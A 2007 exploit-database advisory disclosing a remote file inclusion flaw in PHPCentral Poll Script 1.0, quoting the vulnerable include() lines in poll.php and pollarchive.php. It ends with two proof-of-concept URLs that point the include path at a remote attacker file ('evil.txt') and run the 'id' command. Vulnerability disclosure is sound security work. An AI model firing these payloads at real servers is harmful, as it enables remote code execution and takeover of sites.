PHPCentral Poll Script Remote Command Execution Vulnerability

[rizgar () linuxmail org]

PHPCentral Poll Script Remote Command Execution Vulnerability
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Script : PHPCentral Poll Script

Version : 1.0

Site : http://www.phpcentral.org/scripts.php

Founder : Rizgar

Contact : rizgar () linuxmail org and irc.gigachat.net #kurdhack

Thanks : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys)

d0rk : not d0rk :)

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Vulnerability details : 


This vulnerability allows remote attackers to execute arbitrary code on systems with vulnerable installations of the 
PHPCentral Poll script. 


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look at poll.php, pollarchive.php


poll.php ;

Lines 2,3,4 ;

$folder = "poll"; // Folder in which poll files are -- (default folder is "poll")
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php");
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php");


pollarchive.php 

Lines : 2,3,4


$folder = "poll"; // Folder in which poll files are -- (default folder is "poll")
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php");
include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php");


PoC :

http://www.example.com/poll.php?_SERVER[DOCUMENT_ROOT]=http://evil.txt?&cmd=id

http://www.example.com/pollarchive.php?_SERVER[DOCUMENT_ROOT]=http://evil.txt?&cmd=id

# milw0rm.com [2007-08-10]